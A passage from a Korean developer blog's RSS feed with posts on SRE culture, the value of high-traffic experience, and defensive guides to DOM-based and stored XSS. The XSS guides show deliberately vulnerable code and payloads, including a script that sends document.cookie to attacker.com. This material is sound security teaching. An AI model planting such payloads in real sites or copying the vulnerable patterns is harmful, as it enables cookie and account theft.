&lt;li&gt;&lt;b&gt;속도와 안정성은 충돌하는 것이 아니라 균형을 이뤄야 한다.&lt;/b&gt; 에러 버짓은 이 균형을 실현하기 위한 현실적 기준이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사람은 실수할 수 있다.&lt;/b&gt; 그래서 사람보다 시스템과 프로세스를 개선해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 메시지를 조직이 진심으로 받아들이고 체화할 수 있을 때, 비로소 SRE는 이름 이상의 가치를 발휘하게 된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;미래의 운영 조직은 어떻게 진화할 것인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드 네이티브 환경, 마이크로서비스, 분산 아키텍처의 확산은 운영의 복잡성을 기하급수적으로 늘리고 있다. 과거에는 단일 서버와 단일 코드베이스에 의존한 운영이 가능했지만, 이제는 수십 개, 수백 개의 서비스가 유기적으로 연결되어 움직인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 환경에서 신뢰성을 확보하려면 더 이상 특정 인력에게 운영을 맡기는 방식으로는 한계가 있다. 전사적인 운영 철학, 기술적 기반, 협업 체계가 함께 작동해야 한다. 미래의 운영은 다음과 같은 방향으로 진화할 것이다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;플랫폼 중심 운영&lt;/b&gt;: 운영 인프라와 도구가 개발자에게 제공되는 서비스 형태로 구성된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AI 기반 운영 최적화&lt;/b&gt;: 이상 징후 탐지, 자동 복구, 예측 기반 리소스 할당이 점점 자동화된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;운영의 코드화&lt;/b&gt;: 운영도 코드 리뷰와 형상 관리를 거치는 엔지니어링 활동으로 완전히 통합된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;조직 전체의 SLO 문화 정착&lt;/b&gt;: 운영팀뿐 아니라 모든 구성원이 SLO와 신뢰성 목표를 공유하게 된다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>잡생각/컬럼</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/504</guid>
      <comments>https://eyecandyzero.tistory.com/504#entry504comment</comments>
      <pubDate>Fri, 20 Jun 2025 17:27:46 +0900</pubDate>
    </item>
    <item>
      <title>대용량 트래픽 경험이 왜 중요하게 여겨질까?</title>
      <link>https://eyecandyzero.tistory.com/503</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스샷 29.png&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7QbI2/btsOKzmfbPU/8USWWI5EKcL9uBJ5KG3ISK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7QbI2/btsOKzmfbPU/8USWWI5EKcL9uBJ5KG3ISK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7QbI2/btsOKzmfbPU/8USWWI5EKcL9uBJ5KG3ISK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7QbI2%2FbtsOKzmfbPU%2F8USWWI5EKcL9uBJ5KG3ISK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;461&quot; height=&quot;308&quot; data-filename=&quot;스샷 29.png&quot; data-origin-width=&quot;461&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 개발자 구인 공고를 보면 빠지지 않고 등장하는 문구가 있다. 바로 &quot;대용량 트래픽 및 데이터 처리 경험 보유자 우대&quot;라는 조건이다. 단순히 기술 스택만 잘 다룰 줄 아는 것 이상으로, 실무에서의 특정한 경험을 요구하는 것이다. 그렇다면 기업은 왜 이토록 대용량 트래픽 경험을 중요하게 생각할까? 그리고 아직 그런 경험이 없는 개발자는 어떻게 준비해야 할까?&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실무에서 대용량 트래픽 경험이 중요한 이유&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;트래픽이 많다는 것은 단지 사용자가 많다는 의미를 넘어서, 시스템이 수많은 요청을 동시에 감당할 수 있어야 한다는 뜻이다. 정적인 페이지가 아닌 이상, 트래픽이 늘어날수록 백엔드 로직, 데이터베이스, 네트워크 대역폭, 캐시 구조 등 모든 계층에 걸쳐 부하가 늘어난다. 이때 적절한 설계와 대응이 없으면, 서비스 전체가 느려지거나 아예 장애가 나는 상황으로 이어질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 수십만 명이 동시에 접근하는 이벤트 페이지를 운영한다고 가정해 보자. 다음과 같은 문제 상황들이 발생할 수 있다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;동시 접속자 급증으로 인한 웹 서버나 API 서버의 과부하&lt;/li&gt;
&lt;li&gt;적절한 인덱스 없이 실행된 무거운 쿼리로 인해 발생하는 DB 병목 현상&lt;/li&gt;
&lt;li&gt;캐시 미스가 빈번하게 일어날 때 서버 CPU 사용률이 급증하는 문제&lt;/li&gt;
&lt;li&gt;분산 시스템 구성 시 데이터 일관성 처리 이슈&lt;/li&gt;
&lt;li&gt;갑작스러운 장애 발생 시 롤백, 복구 전략 부재&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 상황은 단순히 코드만 잘 짜는 것으로는 해결되지 않는다. 시스템 전체를 바라볼 수 있는 아키텍처 설계 능력, 트래픽 패턴에 따른 인프라 구성 경험, 장애 발생 시의 복구 절차에 대한 이해가 필요하다. 기업 입장에서는 이런 실전 경험이 있는 개발자가 팀에 있다면, 서비스의 신뢰성과 안정성을 확보하는 데 있어 큰 도움이 된다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;경험이 없으면 경쟁력이 없을까?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대용량 트래픽에 대한 경험이 없다고 해서 낙담할 필요는 없다. 중요한 건 '그 경험이 있느냐'가 아니라 '그런 상황을 다룰 수 있는 감각과 사고를 키워왔느냐'다. 실무에서 대규모 트래픽을 다룬다는 건 흔한 일이 아니기 때문에, 많은 개발자들이 그 경험을 쌓기 전까지는 스스로 준비할 수밖에 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 방법들을 통해 실전 감각을 익히고 준비할 수 있다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;부하 테스트 도구 익히기&lt;/b&gt;: JMeter, Locust, k6 같은 도구를 사용해 부하 테스트를 스스로 수행해보며 트래픽 증가에 따른 시스템 반응을 관찰해본다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;트래픽 대비 아키텍처 공부&lt;/b&gt;: 고가용성(HA), 로드 밸런싱, CDN 구성, DB 샤딩, 캐시 전략 등 대규모 트래픽을 다룰 때 사용하는 기술 요소들을 이론뿐만 아니라 예제와 함께 학습한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오픈소스 분석&lt;/b&gt;: Reddit, Mastodon, GitLab 같은 대형 오픈소스의 구조를 살펴보며, 그들이 어떻게 트래픽과 성능 이슈를 해결하고 있는지 실제 사례를 통해 익힌다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;모의 시나리오 구성&lt;/b&gt;: 개인 프로젝트에 의도적으로 병목을 만들고, 이를 최적화하는 과정을 반복하며 성능 개선 감각을 키운다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무엇보다 중요한 것은, 단순히 공부만 하는 게 아니라 실제로 손을 움직이고 결과를 분석하는 것이다. 체감하는 과정 없이 이론만 쌓으면, 막상 현장에서 문제가 터졌을 때 제대로 대응하지 못한다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;태도와 준비가 더 중요하다&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기업이 경험자를 선호하는 이유는 단순하다. 실전에서 빠르게 판단하고 대응할 수 있는 사람을 원하기 때문이다. 하지만 그건 '직접 겪어봤느냐'보다 '충분히 시뮬레이션하고 고민해봤느냐'로 대체될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대용량 트래픽을 직접 경험하지 못했더라도, 자신의 프로젝트에서 다음과 같은 점을 강조할 수 있다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;트래픽 급증을 대비한 캐시 전략 적용 사례&lt;/li&gt;
&lt;li&gt;DB 쿼리 최적화를 통해 응답 시간을 줄인 경험&lt;/li&gt;
&lt;li&gt;병목이 생긴 원인을 로그 기반으로 분석하고 개선한 이야기&lt;/li&gt;
&lt;li&gt;기능보다 안정성에 더 초점을 두고 설계한 구조적 시도&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 코드리뷰나 팀 회고를 통해 문제의 본질을 정리해보고, 협업을 통해 성능 이슈를 해결한 경험이 있다면 그것도 훌륭한 어필 포인트가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실무에서는 단순히 '한 번 해봤다'가 아니라, 그 경험을 어떻게 설명하고 어떤 인사이트를 얻었는지가 더 중요하게 여겨진다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;기회는 결국 준비된 사람에게 온다&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대용량 트래픽을 경험할 수 있는 기회는 주어지는 것이 아니라, 스스로 준비한 사람에게 찾아온다. 처음부터 대규모 서비스를 맡는 경우는 거의 없다. 하지만 소규모 시스템에서도 성능을 고민하고, 운영 환경에서 생길 수 있는 예외 상황을 미리 고려한 코드를 짠다면, 결국 그런 사람이 실제 상황에서도 가장 빠르게 성장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 DevOps, &lt;a href=&quot;https://eyecandyzero.tistory.com/504&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SRE&lt;/a&gt; 개념을 학습하면서 시스템의 전반적인 흐름을 이해하고, 트래픽 모니터링 도구를 통해 실시간 분석하는 습관을 들이는 것도 큰 도움이 된다. 이러한 기본적인 기반 위에 실무 경험이 더해질 때, 진짜 경쟁력이 생긴다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대용량 트래픽 경험은 분명 가치 있는 자산이다. 하지만 그 자체보다 중요한 건, 그런 문제를 미리 고민해보고 준비해왔는가다. 규모가 크든 작든, 자신이 맡은 시스템에서 성능과 안정성을 우선순위에 두고 접근해온 개발자라면, 누구든지 그 '다음 기회'를 충분히 잡을 수 있다.&lt;/p&gt;</description>
      <category>잡생각/컬럼</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/503</guid>
      <comments>https://eyecandyzero.tistory.com/503#entry503comment</comments>
      <pubDate>Fri, 20 Jun 2025 16:54:43 +0900</pubDate>
    </item>
    <item>
      <title>DOM-based XSS 완벽 가이드: 클라이언트 측에서 발생하는 XSS의 이해와 대응 (DOM-based XSS Guide)</title>
      <link>https://eyecandyzero.tistory.com/502</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 19일 오전 06_22_36.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wFOn3/btsOFHZBvBP/wORvesXzSnM9xFiIubJYak/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wFOn3/btsOFHZBvBP/wORvesXzSnM9xFiIubJYak/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wFOn3/btsOFHZBvBP/wORvesXzSnM9xFiIubJYak/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwFOn3%2FbtsOFHZBvBP%2FwORvesXzSnM9xFiIubJYak%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 19일 오전 06_22_36.jpg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM 기반의 XSS(Cross-Site Scripting)는 서버와의 직접적인 상호작용 없이 브라우저에서 발생하는 취약점으로, 보안 담당자와 개발자 모두에게 상당한 도전 과제가 될 수 있습니다. 특히 SPA(Single Page Application)와 같이 클라이언트에서 동적으로 많은 작업을 처리하는 환경에서는 DOM-based XSS의 가능성이 더욱 높아지며, 그 탐지와 대응도 복잡해집니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DOM-based XSS란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;DOM-based XSS&quot;는 사용자로부터 입력받은 값이 서버를 거치지 않고 브라우저의 JavaScript 코드에서 DOM 요소에 직접 삽입될 때 발생하는 보안 취약점입니다. 이 과정에서 적절한 필터링이나 이스케이프 처리가 생략되면 악성 스크립트가 실행될 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로 다음과 같은 JavaScript API를 통해 공격이 유입됩니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;location.hash&lt;/code&gt;, &lt;code&gt;location.search&lt;/code&gt;, &lt;code&gt;document.URL&lt;/code&gt;, &lt;code&gt;document.referrer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;element.innerHTML&lt;/code&gt;, &lt;code&gt;element.outerHTML&lt;/code&gt;, &lt;code&gt;document.write&lt;/code&gt;, &lt;code&gt;eval()&lt;/code&gt; 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-based XSS는 서버의 응답 자체에 문제가 없더라도, 클라이언트 코드의 설계나 구현 미비로 인해 사용자에게 악영향을 줄 수 있다는 점에서 더욱 주의가 필요합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;발생 예시: URL 조작을 통한 DOM 조작&lt;/h2&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- index.html --&amp;gt;
&amp;lt;div id=&quot;output&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;script&amp;gt;
  const hash = location.hash.substring(1); // URL의 해시 부분 가져오기
  document.getElementById(&quot;output&quot;).innerHTML = hash;
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드에서 URL이 다음과 같이 조작될 수 있습니다:&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;https://example.com/index.html#&amp;lt;script&amp;gt;alert(&quot;XSS&quot;)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 URL을 통해 사용자가 페이지에 접근하면, 브라우저는 해시 값을 DOM에 삽입하면서 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 태그도 함께 실행하게 됩니다. 이처럼 DOM을 다루는 코드가 입력값에 대한 검증 없이 동작할 경우, 클라이언트에서 직접 공격이 발생하게 됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약한 코드 vs 안전한 코드 비교&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약한 방식 (innerHTML 사용)&lt;/h3&gt;
&lt;pre class=&quot;abnf&quot;&gt;&lt;code&gt;const userInput = location.hash.substring(1);
document.getElementById(&quot;msg&quot;).innerHTML = userInput;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드에서는 &lt;code&gt;innerHTML&lt;/code&gt;을 통해 사용자 입력을 DOM에 직접 삽입하고 있어 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 태그가 포함될 경우 실행됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;안전한 방식 (textContent 사용)&lt;/h3&gt;
&lt;pre class=&quot;abnf&quot;&gt;&lt;code&gt;const userInput = location.hash.substring(1);
document.getElementById(&quot;msg&quot;).textContent = userInput;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;textContent&lt;/code&gt;는 HTML 요소로 인식하지 않고 텍스트로 처리하기 때문에, 악성 스크립트가 실행되지 않습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;대응 전략&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;입력값을 직접 DOM에 삽입하지 않기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가능하다면 &lt;code&gt;innerHTML&lt;/code&gt;, &lt;code&gt;document.write&lt;/code&gt;, &lt;code&gt;eval()&lt;/code&gt;은 사용하지 않음&lt;/li&gt;
&lt;li&gt;&lt;code&gt;textContent&lt;/code&gt;, &lt;code&gt;setAttribute&lt;/code&gt;, &lt;code&gt;createTextNode&lt;/code&gt; 등의 안전한 API를 활용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;클라이언트 필터링 라이브러리 활용&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DOMPurify와 같은 라이브러리를 통해 DOM 삽입 전 입력값 정제 가능&lt;/li&gt;
&lt;li&gt;특히 사용자 콘텐츠가 HTML을 포함할 수 있는 상황에서는 필수&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;const cleanInput = DOMPurify.sanitize(userInput);
document.getElementById(&quot;msg&quot;).innerHTML = cleanInput;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보안 정책 강화&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CSP(Content Security Policy)를 통해 인라인 스크립트와 외부 리소스를 제한&lt;/li&gt;
&lt;li&gt;예: &lt;code&gt;Content-Security-Policy: default-src 'self'; script-src 'self'&lt;/code&gt;는 외부 스크립트 로드를 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 정책은 XSS의 영향을 줄이고, 의도치 않은 스크립트 실행을 방지하는 데 큰 도움이 됩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/DOM_Based_XSS&quot;&gt;OWASP - DOM-based XSS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model&quot;&gt;MDN - Document Object Model (DOM)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify GitHub&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DOM-based XSS&lt;/b&gt;는 눈에 띄지 않게 사용자에게 피해를 입힐 수 있는 은밀한 공격입니다. 서버 보안만으로는 완벽한 방어가 불가능하므로, 프론트엔드 개발자는 클라이언트 코드 내 입력값 처리 로직에 각별한 주의를 기울여야 합니다. 특히 사용자의 입력이 화면에 직접 표시되는 경우, 항상 &amp;ldquo;어떻게든 실행될 수 있다&amp;rdquo;는 전제를 두고 설계하는 것이 안전한 웹을 만드는 기본입니다.&lt;/p&gt;</description>
      <category>Programing/보안</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/502</guid>
      <comments>https://eyecandyzero.tistory.com/502#entry502comment</comments>
      <pubDate>Thu, 19 Jun 2025 06:24:48 +0900</pubDate>
    </item>
    <item>
      <title>Stored XSS 공격 방식과 대응 전략: 저장형 XSS의 구조와 보안 실수들 (Stored XSS Attack and Defense)</title>
      <link>https://eyecandyzero.tistory.com/501</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 19일 오전 05_45_50.png&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OCvUd/btsOHaMYKbp/50JKBY4A8BtCFkqZgK8MT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OCvUd/btsOHaMYKbp/50JKBY4A8BtCFkqZgK8MT1/img.png&quot; data-alt=&quot;Stored XSS 웹사이트 하이재킹 예시&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OCvUd/btsOHaMYKbp/50JKBY4A8BtCFkqZgK8MT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOCvUd%2FbtsOHaMYKbp%2F50JKBY4A8BtCFkqZgK8MT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 19일 오전 05_45_50.png&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Stored XSS 웹사이트 하이재킹 예시&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 애플리케이션 보안에서 &quot;Stored XSS(저장형 XSS)&quot;는 특히 심각한 위협 중 하나로 분류됩니다. 이 방식은 공격자가 삽입한 악성 스크립트가 데이터베이스나 로그 파일 등에 저장된 뒤, 여러 사용자에게 반복적으로 노출되는 특징을 가집니다. 단발적인 &lt;a href=&quot;https://eyecandyzero.tistory.com/500&quot;&gt;Reflected XSS&lt;/a&gt;와 달리, 한 번의 삽입으로 지속적인 피해를 유발할 수 있어 기업의 신뢰도와 사용자 안전 모두에 심각한 타격을 줄 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Stored XSS란?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Stored XSS&quot;는 사용자의 입력값이 서버나 데이터베이스에 저장된 뒤, 검증 없이 페이지에 다시 출력되면서 악성 스크립트가 실행되는 구조를 의미합니다. 다음과 같은 환경에서 주로 발생합니다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;댓글 시스템&lt;/b&gt;: 사용자가 게시한 댓글 내용이 그대로 출력되는 경우&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용자 프로필&lt;/b&gt;: 소개글, 닉네임, 상태 메시지 등에 스크립트 삽입 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;게시판/피드&lt;/b&gt;: 제목 또는 본문 내용에 스크립트 삽입&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 의도적으로 스크립트를 삽입한 데이터를 저장하고, 피해자가 이를 브라우저를 통해 열람할 때 자동 실행되도록 유도합니다. 이 과정에서 쿠키 탈취, 계정 탈취, 악성 사이트로의 리디렉션 등 다양한 피해가 발생할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실전 공격 시나리오&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시:&lt;/b&gt; 사용자가 작성한 댓글 입력 폼이 다음과 같다고 가정합니다.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- 게시판 댓글 입력 폼 --&amp;gt;
&amp;lt;form method=&quot;POST&quot; action=&quot;comment.php&quot;&amp;gt;
  &amp;lt;textarea name=&quot;comment&quot;&amp;gt;&amp;lt;/textarea&amp;gt;
  &amp;lt;button type=&quot;submit&quot;&amp;gt;댓글 등록&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;// comment.php
$comment = $_POST['comment'];
save_to_database($comment); // DB에 저장&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 댓글 목록을 보여줄 때:&lt;/p&gt;
&lt;pre class=&quot;php&quot;&gt;&lt;code&gt;// comment_list.php
$result = get_comments_from_db();
foreach ($result as $row) {
  echo &quot;&amp;lt;p&amp;gt;{$row['comment']}&amp;lt;/p&amp;gt;&quot;;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 아래와 같은 입력을 했다면:&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;document.location='http://attacker.com/steal.php?cookie=' + document.cookie&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 스크립트는 해당 댓글을 보는 모든 사용자에게 실행되며, 결과적으로 사용자의 인증 쿠키가 외부로 전송될 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;취약한 코드 vs 안전한 코드&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;취약 예제&lt;/h3&gt;
&lt;pre class=&quot;bash&quot;&gt;&lt;code&gt;// 출력 시 필터링 누락
echo &quot;&amp;lt;p&amp;gt;{$_POST['comment']}&amp;lt;/p&amp;gt;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보완된 코드 예제&lt;/h3&gt;
&lt;pre class=&quot;bash&quot;&gt;&lt;code&gt;// htmlspecialchars 적용으로 XSS 방지
$safe_comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
echo &quot;&amp;lt;p&amp;gt;{$safe_comment}&amp;lt;/p&amp;gt;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또는 JavaScript 출력 시에는 &lt;code&gt;textContent&lt;/code&gt; 속성을 활용하여 DOM 삽입을 안전하게 처리할 수 있습니다:&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;const comment = document.createTextNode(userInput);
document.querySelector('#comment-box').appendChild(comment);&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;대응 전략: 개발 시 반드시 고려해야 할 보안 조치&lt;/h2&gt;
